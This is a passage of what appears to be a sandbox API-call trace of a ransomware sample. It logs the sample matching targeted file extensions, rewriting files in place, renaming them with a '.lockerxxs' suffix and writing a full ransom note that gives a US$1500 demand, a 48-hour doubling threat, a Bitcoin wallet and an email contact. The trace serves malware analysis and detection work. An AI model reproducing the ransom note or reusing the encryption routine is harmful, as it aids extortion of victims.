returned 1 [0090.653] lstrlenA (lpString="*.mp3") returned 5 [0090.653] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" [0090.653] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" [0090.653] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3." [0090.653] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3.lockerxxs" [0090.653] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\w9ebzy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.654] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6996 [0090.654] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1b3ec760, dwHighDateTime=0x1d5df04), lpLastAccessTime=0x407536*(dwLowDateTime=0x9717eaa0, dwHighDateTime=0x1d5d7e4), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9717eaa0, dwHighDateTime=0x1d5d7e4)) returned 1 [0090.654] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.654] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6970, lpOverlapped=0x0) returned 1 [0090.656] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3") returned="W9ebZy.mp3" [0090.657] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.657] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6970, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6970, lpOverlapped=0x0) returned 1 [0090.657] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.657] CloseHandle (hObject=0x90) returned 1 [0090.657] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\w9ebzy.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\vyO6gAgaFG\\W9ebZy.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\vyo6gagafg\\w9ebzy.mp3.lockerxxs")) returned 1 [0090.659] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b3ec760, ftCreationTime.dwHighDateTime=0x1d5df04, ftLastAccessTime.dwLowDateTime=0x9717eaa0, ftLastAccessTime.dwHighDateTime=0x1d5d7e4, ftLastWriteTime.dwLowDateTime=0x9717eaa0, ftLastWriteTime.dwHighDateTime=0x1d5d7e4, nFileSizeHigh=0x0, nFileSizeLow=0x6996, dwReserved0=0x3c00033f, dwReserved1=0x4e00c4, cFileName="W9ebZy.mp3", cAlternateFileName="")) returned 0 [0090.659] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0090.659] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f625000, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xf26d80a0, ftLastAccessTime.dwHighDateTime=0x1d5df09, ftLastWriteTime.dwLowDateTime=0xf26d80a0, ftLastWriteTime.dwHighDateTime=0x1d5df09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="y8IVNv_s7Bt", cAlternateFileName="Y8IVNV~1")) returned 1 [0090.659] lstrcmpA (lpString1=".", lpString2="y8IVNv_s7Bt") returned -1 [0090.659] lstrcmpA (lpString1="..", lpString2="y8IVNv_s7Bt") returned -1 [0090.659] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\*.*") returned="*.*" [0090.659] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="y8IVNv_s7Bt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt" [0090.659] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt") returned 63 [0090.659] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f625000, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xf26d80a0, ftLastAccessTime.dwHighDateTime=0x1d5df09, ftLastWriteTime.dwLowDateTime=0xf26d80a0, ftLastWriteTime.dwHighDateTime=0x1d5df09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2800032b, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0090.660] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.660] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f625000, ftCreationTime.dwHighDateTime=0x1d5e44d, ftLastAccessTime.dwLowDateTime=0xf26d80a0, ftLastAccessTime.dwHighDateTime=0x1d5df09, ftLastWriteTime.dwLowDateTime=0xf26d80a0, ftLastWriteTime.dwHighDateTime=0x1d5df09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0090.660] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.660] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.660] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af2eb90, ftCreationTime.dwHighDateTime=0x1d5e732, ftLastAccessTime.dwLowDateTime=0xa7521290, ftLastAccessTime.dwHighDateTime=0x1d5e010, ftLastWriteTime.dwLowDateTime=0xa7521290, ftLastWriteTime.dwHighDateTime=0x1d5e010, nFileSizeHigh=0x0, nFileSizeLow=0x12fe5, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6CX35f-LR.mp3", cAlternateFileName="6CX35F~1.MP3")) returned 1 [0090.660] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0090.660] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="6CX35f-LR.mp3") returned 1 [0090.660] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="6CX35f-LR.mp3") returned 1 [0090.660] lstrcmpiA (lpString1="", lpString2="6CX35f-LR.mp3") returned -1 [0090.660] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\*.*") returned="*.*" [0090.660] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" [0090.660] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\") returned="" [0090.660] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" [0090.660] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\how to decrypt files.txt")) returned 0xffffffff [0090.661] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\y8ivnv_s7bt\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0090.662] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.662] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.663] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.663] CloseHandle (hObject=0x90) returned 1 [0090.663] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\", lpString2="6CX35f-LR.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3" [0090.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.ems") returned 0 [0090.664] lstrlenA (lpString="*.ems") returned 5 [0090.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.db") returned 0 [0090.664] lstrlenA (lpString="*.db") returned 4 [0090.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.dbf") returned 0 [0090.664] lstrlenA (lpString="*.dbf") returned 5 [0090.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.myox") returned 0 [0090.664] lstrlenA (lpString="*.myox") returned 6 [0090.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.myo") returned 0 [0090.664] lstrlenA (lpString="*.myo") returned 5 [0090.664] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qbw") returned 0 [0090.665] lstrlenA (lpString="*.qbw") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qbb") returned 0 [0090.665] lstrlenA (lpString="*.qbb") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qbm") returned 0 [0090.665] lstrlenA (lpString="*.qbm") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qbo") returned 0 [0090.665] lstrlenA (lpString="*.qbo") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qbx") returned 0 [0090.665] lstrlenA (lpString="*.qbx") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qba") returned 0 [0090.665] lstrlenA (lpString="*.qba") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qby") returned 0 [0090.665] lstrlenA (lpString="*.qby") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qbj") returned 0 [0090.665] lstrlenA (lpString="*.qbj") returned 5 [0090.665] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.ofx") returned 0 [0090.665] lstrlenA (lpString="*.ofx") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.qif") returned 0 [0090.666] lstrlenA (lpString="*.qif") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mye") returned 0 [0090.666] lstrlenA (lpString="*.mye") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mbox") returned 0 [0090.666] lstrlenA (lpString="*.mbox") returned 6 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.eml") returned 0 [0090.666] lstrlenA (lpString="*.eml") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.pst") returned 0 [0090.666] lstrlenA (lpString="*.pst") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.ost") returned 0 [0090.666] lstrlenA (lpString="*.ost") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.idx") returned 0 [0090.666] lstrlenA (lpString="*.idx") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.dbx") returned 0 [0090.666] lstrlenA (lpString="*.dbx") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.sql") returned 0 [0090.666] lstrlenA (lpString="*.sql") returned 5 [0090.666] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mdb") returned 0 [0090.666] lstrlenA (lpString="*.mdb") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.fdb") returned 0 [0090.667] lstrlenA (lpString="*.fdb") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.wab") returned 0 [0090.667] lstrlenA (lpString="*.wab") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.dat") returned 0 [0090.667] lstrlenA (lpString="*.dat") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.txt") returned 0 [0090.667] lstrlenA (lpString="*.txt") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.jpeg") returned 0 [0090.667] lstrlenA (lpString="*.jpeg") returned 6 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.jpg") returned 0 [0090.667] lstrlenA (lpString="*.jpg") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.png") returned 0 [0090.667] lstrlenA (lpString="*.png") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.php") returned 0 [0090.667] lstrlenA (lpString="*.php") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.cs") returned 0 [0090.667] lstrlenA (lpString="*.cs") returned 4 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.cpp") returned 0 [0090.667] lstrlenA (lpString="*.cpp") returned 5 [0090.667] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.rar") returned 0 [0090.668] lstrlenA (lpString="*.rar") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.zip") returned 0 [0090.668] lstrlenA (lpString="*.zip") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.html") returned 0 [0090.668] lstrlenA (lpString="*.html") returned 6 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.htm") returned 0 [0090.668] lstrlenA (lpString="*.htm") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.xlsx") returned 0 [0090.668] lstrlenA (lpString="*.xlsx") returned 6 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.xls") returned 0 [0090.668] lstrlenA (lpString="*.xls") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mp4") returned 0 [0090.668] lstrlenA (lpString="*.mp4") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.ppt") returned 0 [0090.668] lstrlenA (lpString="*.ppt") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.pptx") returned 0 [0090.668] lstrlenA (lpString="*.pptx") returned 6 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.doc") returned 0 [0090.668] lstrlenA (lpString="*.doc") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.dot") returned 0 [0090.668] lstrlenA (lpString="*.dot") returned 5 [0090.668] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.docx") returned 0 [0090.669] lstrlenA (lpString="*.docx") returned 6 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.7z") returned 0 [0090.669] lstrlenA (lpString="*.7z") returned 4 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.tar") returned 0 [0090.669] lstrlenA (lpString="*.tar") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.bz2") returned 0 [0090.669] lstrlenA (lpString="*.bz2") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.gz") returned 0 [0090.669] lstrlenA (lpString="*.gz") returned 4 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.mkv") returned 0 [0090.669] lstrlenA (lpString="*.mkv") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.eml") returned 0 [0090.669] lstrlenA (lpString="*.eml") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.msg") returned 0 [0090.669] lstrlenA (lpString="*.msg") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.edb") returned 0 [0090.669] lstrlenA (lpString="*.edb") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.accdb") returned 0 [0090.669] lstrlenA (lpString="*.accdb") returned 7 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.odb") returned 0 [0090.669] lstrlenA (lpString="*.odb") returned 5 [0090.669] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\y8IVNv_s7Bt\\6CX35f-LR.mp3", pszSpec="*.java") returned 0 [0090.669] lstrlenA (lpString="*.java") returned 6 [0090.670] 